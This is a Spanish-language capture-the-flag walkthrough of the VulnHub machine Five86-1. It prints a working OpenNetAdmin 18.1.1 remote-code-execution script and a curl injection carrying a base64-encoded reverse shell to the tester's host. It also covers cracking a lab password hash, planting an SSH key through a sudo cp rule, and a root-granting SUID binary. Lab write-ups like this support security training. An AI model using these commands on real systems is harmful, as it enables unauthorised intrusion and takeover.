Five86-1 - VulnHub

plantilla

Escaneo basico de puertos por TCP

┌──(root㉿kali)-[/home/kali/Vulnhub/Five86]
└─# nmap -sS --min-rate 5000 -v -n -Pn --open 192.168.1.139 -oN ports 
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 14:45 EST
Initiating ARP Ping Scan at 14:45
Scanning 192.168.1.139 [1 port]
Completed ARP Ping Scan at 14:45, 0.04s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 14:45
Scanning 192.168.1.139 [1000 ports]
Discovered open port 80/tcp on 192.168.1.139
Discovered open port 22/tcp on 192.168.1.139
Discovered open port 10000/tcp on 192.168.1.139
Completed SYN Stealth Scan at 14:45, 0.08s elapsed (1000 total ports)
Nmap scan report for 192.168.1.139
Host is up (0.000099s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
10000/tcp open  snet-sensor-mgmt
MAC Address: 08:00:27:34:7E:BF (Oracle VirtualBox virtual NIC)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.21 seconds
           Raw packets sent: 1001 (44.028KB) | Rcvd: 1001 (40.040KB)

Este escaneo me reporto 3 puertos abiertos: 22,80 y 10000. Dos servidores web y SSH.

Escaneo basico de servicios por TCP

┌──(root㉿kali)-[/home/kali/Vulnhub/Five86]
└─# nmap -sCV -p22,80,10000 192.168.1.139 -oN services               
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 14:46 EST
Nmap scan report for 192.168.1.139
Host is up (0.00022s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 69e63cbf72f7a000f9d9f41d68e23cbd (RSA)
|   256 459ec71e9f5bd3cefc1756f2f642abdc (ECDSA)
|_  256 ae0a9e92645f8620c41144e05832e505 (ED25519)
80/tcp    open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry 
|_/ona
10000/tcp open  http    MiniServ 1.920 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
MAC Address: 08:00:27:34:7E:BF (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.54 seconds

Este segundo escaneo de servicios me reporto un /robots.txt y una ruta potencial en este /ona. La version de SSH y apache a priori no eran vulnerables, por lo que decidi acceder al puerto 80.

1

Nada interesante, una pagina en blanco, procedi a ver el puerto 10000.

image

Tenia un panel de login a Webmin, probe credenciales basicas: admin,admin y no dieron resultado, sabiendo la versión de este servicio busque vulnerabilidades.

Encontre un exploit de ejecucion remota de comandos sin authenticacion pero no aplicaba.

image

Segui mi investigacion mirando el robots.txt.

1

En este se encontraba la ruta reportada anteriormente por nmap, por lo que nada interesante a partir de ahi. Accediendo a la ruta /ona encontre lo siguiente:

1

Algo interesante que vi es que estamos autenticados como un usuario invitado.

4

Arriba a la derecha me indicaba de que se estaba tratando este panel, era OpenNetAdmin, un servicio para la gestion de redes. En este punto me interesaba conocer la version del mismo para buscar exploits del mismo.

1

Se trataba de la version 18.1.1 de este, busque exploits con searchsploit.

┌──(root㉿kali)-[/home/kali/Vulnhub/Five86]
└─# searchsploit opennetadmin
----------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                             |  Path
----------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
OpenNetAdmin 13.03.01 - Remote Code Execution                                                                                                              | php/webapps/26682.txt
OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit)                                                                                               | php/webapps/47772.rb
OpenNetAdmin 18.1.1 - Remote Code Execution                                                                                                                | php/webapps/47691.sh
----------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Encontre 3 exploits, 2 que en teoria aplicaban, uno de Metasploit. Me descargue el script en bash.

┌──(root㉿kali)-[/home/kali/Vulnhub/Five86]
└─# searchsploit -m php/webapps/47691.sh
  Exploit: OpenNetAdmin 18.1.1 - Remote Code Execution
      URL: https://www.exploit-db.com/exploits/47691
     Path: /usr/share/exploitdb/exploits/php/webapps/47691.sh
    Codes: N/A
 Verified: False
File Type: ASCII text
Copied to: /home/kali/Vulnhub/Five86/47691.sh

El codigo del exploit es el siguiente:

# Exploit Title: OpenNetAdmin 18.1.1 - Remote Code Execution
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux

# Exploit Title: OpenNetAdmin v18.1.1 RCE
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux

#!/bin/bash

URL="${1}"
while true;do
 echo -n "$ "; read cmd
 curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done

La estructura de este exploit es la siguiente:

  1. Recoge el primer argumento pasado al *exploit* (La URL del servidor) y lo almacena como `URL`
  2. Inicia un bucle infinito seguido de un *input* que guarda el comando que queremos ejecutar en la variable `cmd`.
  3. Envia una peticion preparada y filtra el output del comando introducido anteriormente mediante expresiones regulares.

Si probamos a ejecutar el comando de curl sustituyendo URL y cmd veremos que conseguimos ejecucion remota de comandos, en este caso somos el usuario www-data.

┌──(root㉿kali)-[/home/kali/Vulnhub/Five86]
└─# curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";whoami;echo \"END\"&xajaxargs[]=ping" "http://192.168.1.139/ona/" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1 
www-data

Entonces probe a conseguir un shell inverso y me causo problemas, asi que la manera que me sirvio es la siguiente. Lo primero que hice fue codificar en base64 el codigo que iba a hacer que la maquina se conectase a mi.

┌──(root㉿kali)-[/home/kali/Vulnhub/Five86]
└─# echo "sh -i >& /dev/tcp/192.168.1.136/443 0>&1" | base64   
c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjEzNi80NDMgMD4mMQo=

Y ahora simplemente decodifique la cadena en Base64 y pipeé el resultado con bash.

┌──(root㉿kali)-[/home/kali/Vulnhub/Five86]
└─# curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjEzNi80NDMgMD4mMQo= | base64 -d | bash; id;echo \"END\"&xajaxargs[]=ping" "http://192.168.1.139/ona/" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1

Ejecute el comando y gane acceso como www-data.

1

┌──(root㉿kali)-[/home/kali]
└─# nc -lvnp 443      
listening on [any] 443 ...
connect to [192.168.1.136] from (UNKNOWN) [192.168.1.139] 37480
sh: 0: can't access tty; job control turned off
$ whoami
www-data

Hice un tratamiento de la TTY para tener un mayor comodidad de esta.

$ script /dev/null -c bash
Script started, file is /dev/null
www-data@five86-1:/opt/ona/www$ ^Z
zsh: suspended  nc -lvnp 443
                                                                                                                                                             
┌──(root㉿kali)-[/home/kali]
└─# stty raw -echo; fg 
[1]  + continued  nc -lvnp 443
                              reset 
reset: unknown terminal type unknown
Terminal type? xterm

También tuve que cambiar las filas y columnas que tenia esta, en mi maquina tenia 17 y 157.

┌──(root㉿kali)-[/home/kali/Vulnhub/Five86]
└─# stty size
17 157a

Y en la maquina victima 24 y 80.

www-data@five86-1:/opt/ona/www$ export TERM=xterm 
www-data@five86-1:/opt/ona/www$ export SHELL=bash
www-data@five86-1:/opt/ona/www$ stty size
24 80
www-data@five86-1:/opt/ona/www$ stty rows 17 columns 157

Vi que archivos habian en el directorio actual pero nada interesante.

www-data@five86-1:/opt/ona/www$ ls
config  config_dnld.php  dcm.php  images  include  index.php  local  login.php  logout.php  modules  plugins  winc  workspace_plugins
www-data@five86-1:/opt/ona/www$

Tras una pequeña investigacion encontre un .htpasswd en /var/www/ sobre el que tenia permisos de lectura.

www-data@five86-1:/var/www$ ls
html
www-data@five86-1:/var/www$ ls -la
total 16
drwxr-xr-x  3 root root 4096 Jan  1  2020 .
drwxr-xr-x 14 root root 4096 Jan  1  2020 ..
-rw-r--r--  1 root root  202 Jan  1  2020 .htpasswd
drwxr-xr-x  3 root root 4096 Jan  1  2020 html
www-data@five86-1:/var/www$

Su contenido era el siguiente:

www-data@five86-1:/var/www$ cat .htpasswd
douglas:$apr1$9fgG/hiM$BtsL9qpNHUlylaLxk81qY1

# To make things slightly less painful (a standard dictionary will likely fail),
# use the following character set for this 10 character password: aefhrt

Había un nombre de usuario y un hash. También se encontraba un mensaje que decía que un diccionario convencional como rockyou.txt fallaría en el intento de crackear este hash y que podría usar los caracteres aefhrt con un patron de contraseña de diez caracteres para crackearlo. Básicamente lo que tenia que hacer era generar un diccionario de credenciales con un patrón de 10 caracteres que contengan explícitamente esos caracteres.

Lo que hice fue ejecutar crunch especificandole el minimo y maximo de los caracteres requeridos seguido de la cadena proporcionada por el .htpasswd. Finalmente exporte el resultado al archivo pass.txt.

┌──(root㉿kali)-[/home/kali/Vulnhub/Five86]
└─# crunch 10 10 aefhrt -o pass.txt                                                                                                  
Crunch will now generate the following amount of data: 665127936 bytes
634 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 60466176 

crunch: 100% completed generating output

Una vez generado el diccionario me di cuente que era mucho mas grande que rockyou.txt.

┌──(root㉿kali)-[/home/kali/Vulnhub/Five86]
└─# wc -l pass.txt
60466176 pass.txt

Este tardaria mucho en completarse. Lo que hice fue hacerlo mas corto, ya que el comando de crunch que use genero credenciales que contienen alguno de los caracteres que especifique, no todos. Asi que aplique la siguiente expresion regular para que filtre por todas las credenciales que contengan aefhrt.

┌──(root㉿kali)-[/home/kali/Vulnhub/Five86]
└─# awk '/a/&&/e/&&/f/&&/h/&&/r/&&/t/' pass.txt > pass_final.txt
                                                                                                                                                             
┌──(root㉿kali)-[/home/kali/Vulnhub/Five86]
└─# wc -l pass_final.txt
16435440 pass_final.txt

Ahora ya tiene muchas menos credenciales, inicie el ataque con john.

┌──(root㉿kali)-[/home/kali/Vulnhub/Five86]
└─# john --wordlist=pass_final.txt hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
fatherrrrr       (douglas)     
1g 0:00:00:23 DONE (2023-03-08 15:27) 0.04295g/s 254251p/s 254251c/s 254251C/s fatherrhaf..fatherttae
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Bien, me consiguio crackear la contraseña: fatherrrrr. Me di cuenta que douglas era un usuario operativo en el sistema, por lo que probe a autenticarme con esta credencial y funciono.

www-data@five86-1:/var/www$ su douglas 
Password: 
douglas@five86-1:/var/www$ whoami
douglas

Siendo douglas busque todos los archivos y directorios desde la raiz en los que yo fuera propietario y elimine las cadenas proc y sys que se obtengan en el output del comando, pero no encontre nada interesante.

douglas@five86-1:/var/www$ find / -user douglas 2>/dev/null | grep -vE 'proc|sys'
/run/user/1005
/home/douglas
/home/douglas/.ssh
/home/douglas/.ssh/id_rsa.pub
/home/douglas/.ssh/id_rsa
/home/douglas/.bash_history
/home/douglas/.local
/home/douglas/.local/share
/home/douglas/.local/share/nano

Me di cuenta que podía ejecutar /bin/cp como el usuario Jen.

douglas@five86-1:~$ sudo -l
Matching Defaults entries for douglas on five86-1:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User douglas may run the following commands on five86-1:
    (jen) NOPASSWD: /bin/cp

Hay dos maneras de intentar escalar en este punto aprovechando la naturalidad de SSH:

  1. Copiar la clave privada (si tenia) del usuario jen a /tmp e intentar acceder mediante SSH usando esta como clave de identidad (si no estaba encriptada).
  2. Copiar mi clave publica y almacenarla como authorized_keys en el directorio .ssh de jen para acceder por SSH sin credenciales.

En este caso en concreto utilice la segunda opcion, el usuario jen no tenia una id_rsa en /home/jen/.ssh/jen.

┌──(root㉿kali)-[~/.ssh]
└─# cat id_rsa.pub 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDOemMao95qmTqEbnpcgdykoWnGz4UQvtp0pJZ7bCCA/xJ+QLc0LNDlGcEZ9ldlVY12RZVywrdq407MnkrRf+BQ6WvBXVFm+mAkLrtuJuvBQDdeaSRx3qs4woRj1PScD/7886OOXuPao8dJTreBI5hgE2ZAzgJMmO+uwCBF1wJQlI2RgrGzrS2XSjasrY+PwSti/DT/UjlQdrtWlytQua38t4+cRoOvhe2G1nktInYeq0cQtjqm8t5WM7r0FCAvh4DY3nGEtaCS82YRTVhAEHQXgPPwL19Y2EEKWttx4RvtKaHry2ncjgJUOcSNLoLZffNCpyF4cm2+Bcm0Da5Jr9x4UW0dlX6oShtm3+AMTJ5VDJ+L+vVPp90aRdvReMEL4zvqB3775CL4B3Jg49KqmXbLfbTKWwdSKMQHJNGGUj4PUTjUvbkAhi6lqqGS4x81xHOfOH9DDV1aY28pojxF2iD6bBhWBoqdYdRrQ1eyIo/uyEi3UM1Wbzzdk7sdpxVmXmU= root@kali

Una vez tenia mi clave publica en /tmp como authorized_keys la copie a /home/jen/.ssh/authorized_keys como el usuario jen.

douglas@five86-1:/tmp$ ls
authorized_keys  tmp.z1IYvnHLGU
douglas@five86-1:/tmp$ cat authorized_keys 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDOemMao95qmTqEbnpcgdykoWnGz4UQvtp0pJZ7bCCA/xJ+QLc0LNDlGcEZ9ldlVY12RZVywrdq407MnkrRf+BQ6WvBXVFm+mAkLrtuJuvBQDdeaSRx3qs4woRj1PScD/7886OOXuPao8dJTreBI5hgE2ZAzgJMmO+uwCBF1wJQlI2RgrGzrS2XSjasrY+PwSti/DT/UjlQdrtWlytQua38t4+cRoOvhe2G1nktInYeq0cQtjqm8t5WM7r0FCAvh4DY3nGEtaCS82YRTVhAEHQXgPPwL19Y2EEKWttx4RvtKaHry2ncjgJUOcSNLoLZffNCpyF4cm2+Bcm0Da5Jr9x4UW0dlX6oShtm3+AMTJ5VDJ+L+vVPp90aRdvReMEL4zvqB3775CL4B3Jg49KqmXbLfbTKWwdSKMQHJNGGUj4PUTjUvbkAhi6lqqGS4x81xHOfOH9DDV1aY28pojxF2iD6bBhWBoqdYdRrQ1eyIo/uyEi3UM1Wbzzdk7sdpxVmXmU= root@kali
douglas@five86-1:/tmp$ sudo -u jen /bin/cp authorized_keys /home/jen/.ssh/authorized_keys

Ahora simplemente me loguee por SSH sin credenciales como el usuario jen.

┌──(root㉿kali)-[/home/kali/Vulnhub/Five86]
└─# ssh jen@192.168.1.139   
Linux five86-1 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have mail.
Last login: Tue Mar  7 19:21:42 2023 from 192.168.1.136
jen@five86-1:~$

De nuevo hice otra busqueda de todos los archivos y directorios en los que jen era propietario eliminando las cadenas proc y sys.

jen@five86-1:~$ find / -user jen 2>/dev/null | grep -vE "proc|sys"
/run/user/1003
/var/mail/jen
/dev/pts/1
/home/jen
/home/jen/.ssh
/home/jen/.ssh/authorized_keys
/home/jen/reports
/home/jen/reports/Audit.txt
/home/jen/reports/IT_Budget.txt
/home/jen/.bash_history

En este caso si encontré una ruta que me intereso: /var/mail/jen. Era un email de roy a jen avisándole de que la contraseña de Moss (usuario del sistema) era Fire!Fire!.

jen@five86-1:~$ cat /var/mail/jen
From roy@five86-1 Wed Jan 01 03:17:00 2020
Return-path: <roy@five86-1>
Envelope-to: jen@five86-1
Delivery-date: Wed, 01 Jan 2020 03:17:00 -0500
Received: from roy by five86-1 with local (Exim 4.92)
        (envelope-from <roy@five86-1>)
        id 1imZBc-0001FU-El
        for jen@five86-1; Wed, 01 Jan 2020 03:17:00 -0500
To: jen@five86-1
Subject: Monday Moss
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <E1imZBc-0001FU-El@five86-1>
From: Roy Trenneman <roy@five86-1>
Date: Wed, 01 Jan 2020 03:17:00 -0500

Hi Jen,

As you know, I'll be on the "customer service" course on Monday due to that incident on Level 4 with the accounts people.

But anyway, I had to change Moss's password earlier today, so when Moss is back on Monday morning, can you let him know that his password is now Fire!Fire!

Moss will understand (ha ha ha ha).

Tanks,
Roy

Probé a autenticarme con esa credencial al usuario Moss y fue satisfactorio.

jen@five86-1:~$ ls /home
douglas  jen  moss  richmond  roy
jen@five86-1:~$ su moss
Password: 
moss@five86-1:/home/jen$ whoami
moss
moss@five86-1:/home/jen$

Siendo Moss busque todos los binario que esten corriendo como SUID y encontre un supuesto “juego”.

moss@five86-1:~$ find / -perm -4755 2>/dev/null
/var/games/animals
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/su
/usr/bin/umount
/usr/bin/mount
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/chfn
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/sbin/exim4
/home/moss/.games/upyourgame

Lo ejecute, respondi a 5 preguntas con “yes” y automaticamente gane acceso como root 😞 . Parecia broma pero si me convertir en root.

moss@five86-1:/var/games/animals$ /home/moss/.games/upyourgame
Would you like to play a game? yes

Could you please repeat that? yes

Nope, you'll need to enter that again. yes

You entered: No.  Is this correct? yes

We appear to have a problem?  Do we have a problem? yes

Made in Britain.
# whoami
root
#

Analice el codigo del binario mas en profundidad en Ghidra y hacia lo siguiente:

1

Simplemente hace las preguntas y lee la entrada del usuario en las variables correspondientes, al final del programa cambia el UID a 0 (root) y spawnea una /bin/sh.

Leave a comment